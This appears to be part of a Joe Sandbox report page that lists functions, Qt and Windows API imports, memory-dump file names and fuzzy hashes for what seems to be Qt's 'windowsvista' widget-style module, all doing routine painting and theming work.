Function 00007FF8123115B0 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

??0QStyleOptionComplex@@QEAA@HH@Z.QT5WIDGETS ref: 00007FF8123115F3
??4QStyleOptionSlider@@QEAAAEAV0@AEBV0@@Z.QT5WIDGETS ref: 00007FF8123115FF
??0QStyleOptionSpinBox@@QEAA@AEBV0@@Z.QT5WIDGETS ref: 00007FF812311623

Part of subcall function 00007FF8123256B4: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8123256CE

??0QStyleOption@@QEAA@AEBV0@@Z.QT5WIDGETS ref: 00007FF81231169B
??0QRect@@QEAA@AEBVQPoint@@AEBVQSize@@@Z.QT5CORE ref: 00007FF8123116D2

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$OptionV0@@$Box@@Complex@@Option@@Point@@Rect@@Size@@@Slider@@Spinmalloc
String ID:
API String ID: 1040906481-0
Opcode ID: 36026e2983d26a15a9fce9d9a6907731966e9e1d2119287ba5f29f7262519c73
Instruction ID: cacc74c6bfb9959fa311a1a245021786b577a766e573e49dcd609910143b9a1d
Opcode Fuzzy Hash: 36026e2983d26a15a9fce9d9a6907731966e9e1d2119287ba5f29f7262519c73
Instruction Fuzzy Hash: 5931FE21E09A0282EF58DB24A5082F972A1FF54BE4F048274CA8E077A5CFBDE4418B40

Function 00007FF812320DF7 Relevance: 10.6, APIs: 7, Instructions: 117windowCOMMON

Download Yara Rule

APIs

?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF812320E2C
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF812320E35
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF812320E47
?fillRect@QPainter@@QEAAXAEBVQRect@@AEBVQBrush@@@Z.QT5GUI ref: 00007FF812320E8F
?fillRect@QPainter@@QEAAXAEBVQRect@@AEBVQBrush@@@Z.QT5GUI ref: 00007FF812320EC0
?fillRect@QPainter@@QEAAXAEBVQRect@@AEBVQBrush@@@Z.QT5GUI ref: 00007FF812320EF5
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF812320F6D

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Brush@@$?fillBrush@@@Painter@@Rect@Rect@@$ColorColor@@$?brush@?color@BrushGroup@1@Palette@@Qt@@@Role@1@@Style@
String ID:
API String ID: 841669753-0
Opcode ID: f54d8d18b9149d76d5b00d71cb1752fdbff16c0bfaa421317b91bf096b0314be
Instruction ID: f1b77992ab62f2d87965daed1d5b968a1c8c562ae37ec96c6df4b800bea7b30a
Opcode Fuzzy Hash: f54d8d18b9149d76d5b00d71cb1752fdbff16c0bfaa421317b91bf096b0314be
Instruction Fuzzy Hash: 1B517E73A08A818BD715CF69E4441AEF7B5F7847A4F404225DB8A83A68DBBCE485CF40

Function 00007FF812322001 Relevance: 10.6, APIs: 7, Instructions: 54windowCOMMON

Download Yara Rule

APIs

?unpolish@QWindowsStyle@@UEAAXPEAVQWidget@@@Z.QT5WIDGETS ref: 00007FF812322048
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81232205A
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF812322063
?darker@QColor@@QEBA?AV1@H@Z.QT5GUI ref: 00007FF812322077
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF81232208B
?setBrush@QPalette@@QEAAXW4ColorGroup@1@W4ColorRole@1@AEBVQBrush@@@Z.QT5GUI ref: 00007FF8123220A2
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF8123220AD

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Brush@@Color$Color@@$Group@1@Palette@@$?brush@?color@?darker@?set?unpolish@BrushBrush@Brush@@@Qt@@@Role@1@Role@1@@Style@Style@@Widget@@@Windows
String ID:
API String ID: 120035416-0
Opcode ID: f104f70a8d700ed64441b475f1d3fff9efed745c36c8aeb7023fcfa44b4f2163
Instruction ID: 4aee43c09455031d38883e9479d6b9d3b6d646183c9eaf18a749307a9068279b
Opcode Fuzzy Hash: f104f70a8d700ed64441b475f1d3fff9efed745c36c8aeb7023fcfa44b4f2163
Instruction Fuzzy Hash: 5B215E72616B4597E74E8F34E4161AAB770FB48BA4F908135CA4E82730DF7D9545CF00

Function 00007FF8123206D7 Relevance: 10.6, APIs: 7, Instructions: 50windowCOMMON

Download Yara Rule

APIs

?save@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF8123206DA
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF8123206EE
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF8123206F7
?setPen@QPainter@@QEAAXAEBVQColor@@@Z.QT5GUI ref: 00007FF812320703
??0QRect@@QEAA@AEBVQPoint@@0@Z.QT5CORE ref: 00007FF81232073A
?drawRects@QPainter@@QEAAXPEBVQRect@@H@Z.QT5GUI ref: 00007FF81232074E
?restore@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF812320757

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Painter@@$Brush@@ColorRect@@$?brush@?color@?draw?restore@?save@?setColor@@Color@@@Group@1@Palette@@Pen@Point@@0@Rects@Role@1@@
String ID:
API String ID: 308093406-0
Opcode ID: 7e15410fbc9d7aef28c79b8029416493c98cc2b6d82f744acc113d07f197661d
Instruction ID: 1abfa25e78ccb91aebebe02908ade85f1801dc79eb8aea269b365f4e71ccce58
Opcode Fuzzy Hash: 7e15410fbc9d7aef28c79b8029416493c98cc2b6d82f744acc113d07f197661d
Instruction Fuzzy Hash: E0113D36B18A818AE716DF69E4041ED73B0FB887A5F504132DE4E53624DF7CD585CB00

Function 00007FF8123173B0 Relevance: 10.5, APIs: 7, Instructions: 34windowCOMMON

Download Yara Rule

APIs

?unpolish@QWindowsStyle@@UEAAXPEAVQWidget@@@Z.QT5WIDGETS ref: 00007FF8123173C8
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF8123173DA
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF8123173E3
?darker@QColor@@QEBA?AV1@H@Z.QT5GUI ref: 00007FF8123173F7
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF81231740B
?setBrush@QPalette@@QEAAXW4ColorGroup@1@W4ColorRole@1@AEBVQBrush@@@Z.QT5GUI ref: 00007FF812317422
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF81231742D

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Brush@@Color$Color@@$Group@1@Palette@@$?brush@?color@?darker@?set?unpolish@BrushBrush@Brush@@@Qt@@@Role@1@Role@1@@Style@Style@@Widget@@@Windows
String ID:
API String ID: 120035416-0
Opcode ID: cc9ce627a63ea2ff73d30a4ad42ea2f010f3b4025e6dc7127df8e93b6adb2bd3
Instruction ID: 4eda2ccffc20e4064b5e32086480a1f74c66f7a77621f29ddd3e89d0a3f365d9
Opcode Fuzzy Hash: cc9ce627a63ea2ff73d30a4ad42ea2f010f3b4025e6dc7127df8e93b6adb2bd3
Instruction Fuzzy Hash: 14011E65A28E4682EB15DB11E8151A96360FB88BE1F804275D94E43774EF7CD698CB00

Function 00007FF81231D98A Relevance: 9.2, APIs: 6, Instructions: 212COMMON

Download Yara Rule

APIs

?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81231DAA9
GetThemePartSize.UXTHEME ref: 00007FF81231DB02
?toPoint@QPointF@@QEBA?AVQPoint@@XZ.QT5CORE ref: 00007FF81231DB46
??0QStyleOptionButton@@QEAA@AEBV0@@Z.QT5WIDGETS ref: 00007FF81231DB74
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231DBE2
??1QStyleOptionTab@@QEAA@XZ.QT5WIDGETS ref: 00007FF81231DC15

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Option$?native?proxy@Button@@Factor@MetricPartPointPoint@Point@@Private@@ScaleSizeStyle@@Tab@@ThemeV0@@Widget@@@Windows
String ID:
API String ID: 771988995-0
Opcode ID: a79d4c3db3326b96b1ce712d03fa325047ba7a1765eabade1f515e1c0856f561
Instruction ID: 20072d61056baf3fa0cf4eea5aa6d2de469b3f7bc64f648e1c1b16d313d34e81
Opcode Fuzzy Hash: a79d4c3db3326b96b1ce712d03fa325047ba7a1765eabade1f515e1c0856f561
Instruction Fuzzy Hash: 5DA1B432908FC58AE721DF38D8453E973A0FB553A8F048376EA8D46AA8DF78E545C740

Function 00007FF81231D6D6 Relevance: 9.1, APIs: 6, Instructions: 149COMMON

Download Yara Rule

APIs

?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81231D70E

Part of subcall function 00007FF8123177D0: GetThemePartSize.UXTHEME ref: 00007FF812317836

?toPoint@QPointF@@QEBA?AVQPoint@@XZ.QT5CORE ref: 00007FF81231D74F
??0QRect@@QEAA@AEBVQPoint@@AEBVQSize@@@Z.QT5CORE ref: 00007FF81231D7B9
??0QRect@@QEAA@AEBVQPoint@@AEBVQSize@@@Z.QT5CORE ref: 00007FF81231D898
??0QRect@@QEAA@AEBVQPoint@@AEBVQSize@@@Z.QT5CORE ref: 00007FF81231D8DD
??0QRect@@QEAA@AEBVQPoint@@AEBVQSize@@@Z.QT5CORE ref: 00007FF81231D920

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Point@@$Rect@@Size@@@$?nativeFactor@MetricPartPointPoint@Private@@ScaleSizeStyleThemeWidget@@@Windows
String ID:
API String ID: 378173180-0
Opcode ID: 044916861e3eef6a78744a840fcbb2bb780590dad6a72c215454874c8b7c841f
Instruction ID: 156955d843f08fc7805e71a902ee2eccd955a3f7a5bd71e89b24284d8426660b
Opcode Fuzzy Hash: 044916861e3eef6a78744a840fcbb2bb780590dad6a72c215454874c8b7c841f
Instruction Fuzzy Hash: A1713373908BC58AD711CF28D4402E9B7B0FB957A8F508266EB8D47A78DF78E185CB40

Function 00007FF81232452D Relevance: 9.1, APIs: 6, Instructions: 111COMMON

Download Yara Rule

APIs

?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF81232456C
?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81232457A
GetSystemMetrics.USER32 ref: 00007FF812324588
GetSystemMetrics.USER32 ref: 00007FF8123245A9
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123245DA
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF812324961

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$MetricsStyle@@System$?dpi?native?proxy@?visualDirection@Factor@Helper@@LayoutMetricOption@@@Private@@Qt@@Rect@Rect@@ScaleScaled@V2@1@Widget@@@Windows
String ID:
API String ID: 369329258-0
Opcode ID: 3bf3229bdf316d989ab4729c5ff7e4e8c0f7bafe1b7fde23cfa209029b6e4202
Instruction ID: 9a08ed7280f2f0b2bafbfc20179da28fe020db1ac697d49ccacb1890d7cccb4a
Opcode Fuzzy Hash: 3bf3229bdf316d989ab4729c5ff7e4e8c0f7bafe1b7fde23cfa209029b6e4202
Instruction Fuzzy Hash: DF41A276A24A458AE3268F79D4046ED6771FB547E4F008372CE4E53BA8DE7DE4458700

Function 00007FF812324514 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF81232456C
?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81232457A
GetSystemMetrics.USER32 ref: 00007FF812324588
GetSystemMetrics.USER32 ref: 00007FF8123245A9
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123245DA
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF812324961

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$MetricsStyle@@System$?dpi?native?proxy@?visualDirection@Factor@Helper@@LayoutMetricOption@@@Private@@Qt@@Rect@Rect@@ScaleScaled@V2@1@Widget@@@Windows
String ID:
API String ID: 369329258-0
Opcode ID: 4215669e7709d5137d8b6666ee5106cfb2dbdbf181f59134d67591b139e5c98e
Instruction ID: decfa6aee1acbf9383bd692fb979eb2754e128198b77b2fc18c49ded18c9487b
Opcode Fuzzy Hash: 4215669e7709d5137d8b6666ee5106cfb2dbdbf181f59134d67591b139e5c98e
Instruction Fuzzy Hash: 60419176A24A858AE321CF79D4046ED6771FB547E8F008272DE4E63BA8DE7DE446C700

Function 00007FF81232451C Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON

Download Yara Rule

APIs

?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF81232456C
?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81232457A
GetSystemMetrics.USER32 ref: 00007FF812324588
GetSystemMetrics.USER32 ref: 00007FF8123245A9
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123245DA
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123246D6
?actualSize@QIcon@@QEBA?AVQSize@@AEBV2@W4Mode@1@W4State@1@@Z.QT5GUI ref: 00007FF812324713
?isNull@QIcon@@QEBA_NXZ.QT5GUI ref: 00007FF81232471D
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF81232491F
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF812324961
?dpi@QStyleHelper@@YANPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF8123249A9
?dpiScaled@QStyleHelper@@YANNN@Z.QT5WIDGETS ref: 00007FF8123249BD
?dpiScaled@QStyleHelper@@YANNN@Z.QT5WIDGETS ref: 00007FF8123249D6
?dpiScaled@QStyleHelper@@YANNN@Z.QT5WIDGETS ref: 00007FF8123249EE
?dpi@QStyleHelper@@YANPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF812324A1D
?dpiScaled@QStyleHelper@@YANNN@Z.QT5WIDGETS ref: 00007FF812324A31
?dpiScaled@QStyleHelper@@YANNN@Z.QT5WIDGETS ref: 00007FF812324A49
?dpiScaled@QStyleHelper@@YANNN@Z.QT5WIDGETS ref: 00007FF812324A6A

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Helper@@$?dpiScaled@$Option@@@$Style@@$?dpi@?proxy@Icon@@MetricsSystem$?actual?native?visualDirection@Factor@LayoutMetricMode@1@Null@Private@@Qt@@Rect@Rect@@ScaleSize@Size@@State@1@@V2@1@Widget@@@Windows
String ID:
API String ID: 1112638000-0
Opcode ID: 4aa1324a89eea96a9832725edf3d55ad887a76632ebe7274ba8a1eb64ae677b8
Instruction ID: ce19fb9ef0482aaed8f989cee27be65cda32f79db92ae245e2b37d6280993ac7
Opcode Fuzzy Hash: 4aa1324a89eea96a9832725edf3d55ad887a76632ebe7274ba8a1eb64ae677b8
Instruction Fuzzy Hash: 02419276A24A858AE325CF79D4046ED6770FB54794F008372DF4E63BA8DE7DE4468700

Function 00007FF812311810 Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

??1QStyleOption@@QEAA@XZ.QT5WIDGETS ref: 00007FF812311833
??1QStyleOption@@QEAA@XZ.QT5WIDGETS ref: 00007FF812311854
??1QStyleOption@@QEAA@XZ.QT5WIDGETS ref: 00007FF8123118CC

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Option@@Style
String ID:
API String ID: 3950800569-0
Opcode ID: 33bfab6f67f6ddd577557e138cee51d5c2dc608895f992040069cc24530edc28
Instruction ID: 7efa56d1dc3c28a96065d4b1bbd167ca413b0ce05286b2e6d38dacaecea134f3
Opcode Fuzzy Hash: 33bfab6f67f6ddd577557e138cee51d5c2dc608895f992040069cc24530edc28
Instruction Fuzzy Hash: C6118F21E4A906C2FB694B91A0152F91191DB45BB5F28D2B0CE1F062F08EBDA4C79711

Function 00007FF812324F80 Relevance: 9.0, APIs: 6, Instructions: 31COMMON

Download Yara Rule

APIs

?fromWCharArray@QString@@SA?AV1@PEB_WH@Z.QT5CORE ref: 00007FF812324FA7
??0QString@@QEAA@$$QEAV0@@Z.QT5CORE ref: 00007FF812324FB3
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF812324FBE
??0QString@@QEAA@XZ.QT5CORE ref: 00007FF812324FD2
??0QString@@QEAA@$$QEAV0@@Z.QT5CORE ref: 00007FF812324FDE
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF812324FE9

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: String@@$A@$$V0@@$?fromArray@Char
String ID:
API String ID: 2960922311-0
Opcode ID: f1abc3da5d1d6278bcc6e20e080a904ba7e2320707363a54bdf616318cf414cb
Instruction ID: 72170b3b40d5a20776f8e9c4467c3eed05cb3e921167e99e0c8d521089f06fd0
Opcode Fuzzy Hash: f1abc3da5d1d6278bcc6e20e080a904ba7e2320707363a54bdf616318cf414cb
Instruction Fuzzy Hash: 5BF04F61B64E4682EA459B11E8480B96321FF89FE1F441270DE1E063B8DF7CE58AC700

Function 00007FF812311070 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

?compare@QString@@QEBAHVQLatin1String@@W4CaseSensitivity@Qt@@@Z.QT5CORE ref: 00007FF8123110A1

Part of subcall function 00007FF8123256B4: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8123256CE

Part of subcall function 00007FF8123256B4: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8123256E4

??0QWindowsStylePrivate@@QEAA@XZ.QT5WIDGETS ref: 00007FF8123112A2
??0QIcon@@QEAA@XZ.QT5GUI ref: 00007FF8123112CF
??0QIcon@@QEAA@XZ.QT5GUI ref: 00007FF8123112DC

Part of subcall function 00007FF812321540: IsThemeActive.UXTHEME(?,?,?,?,00007FF81231131D), ref: 00007FF81232155E
Part of subcall function 00007FF812321540: IsAppThemed.UXTHEME(?,?,?,?,00007FF81231131D), ref: 00007FF812321568
Part of subcall function 00007FF812321540: ?instance@QCoreApplication@@SAPEAV1@XZ.QT5CORE(?,?,?,?,00007FF81231131D), ref: 00007FF812321572
Part of subcall function 00007FF812321540: ?isDarkMode@QWindowsStylePrivate@@SA_NXZ.QT5WIDGETS(?,?,?,?,00007FF81231131D), ref: 00007FF81232157D

Part of subcall function 00007FF812319000: ??0QWindowsStyle@@IEAA@AEAVQWindowsStylePrivate@@@Z.QT5WIDGETS(?,?,00000000,00007FF812311332), ref: 00007FF812319009

Strings

windowsvista, xrefs: 00007FF81231107F

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Windows$Style$Icon@@Private@@String@@$?compare@?instance@ActiveApplication@@CaseConcurrency::cancel_current_taskCoreDarkLatin1Mode@Private@@@Qt@@@Sensitivity@Style@@ThemeThemedmalloc
String ID: windowsvista
API String ID: 1594459862-1952470988
Opcode ID: cd4319f1e3061851bc21bdb7b409be9d4aa7d6b39f2eebd962bccaeb05806e13
Instruction ID: da9423934631bca76ef5e464e299f07a1a85698257dbbb656947b8d49d6d5d1b
Opcode Fuzzy Hash: cd4319f1e3061851bc21bdb7b409be9d4aa7d6b39f2eebd962bccaeb05806e13
Instruction Fuzzy Hash: 40312B32A18F8281EB55DF21E8402E973A8FB98BD8F444275EA8D47B68DF7CD155C710

Function 00007FF81231F9CF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26windowCOMMON

Download Yara Rule

APIs

?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231F9DD
??0QPen@@QEAA@AEBVQBrush@@NW4PenStyle@Qt@@W4PenCapStyle@3@W4PenJoinStyle@3@@Z.QT5GUI ref: 00007FF81231FA07
?setPen@QPainter@@QEAAXAEBVQPen@@@Z.QT5GUI ref: 00007FF81231FA13
??1QPen@@QEAA@XZ.QT5GUI ref: 00007FF81231FA1E

Strings

@, xrefs: 00007FF81231F9E9

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Brush@@ColorPen@@$?brush@?setGroup@1@JoinPainter@@Palette@@Pen@Pen@@@Qt@@Role@1@@Style@Style@3@Style@3@@
String ID: @
API String ID: 914583510-2766056989
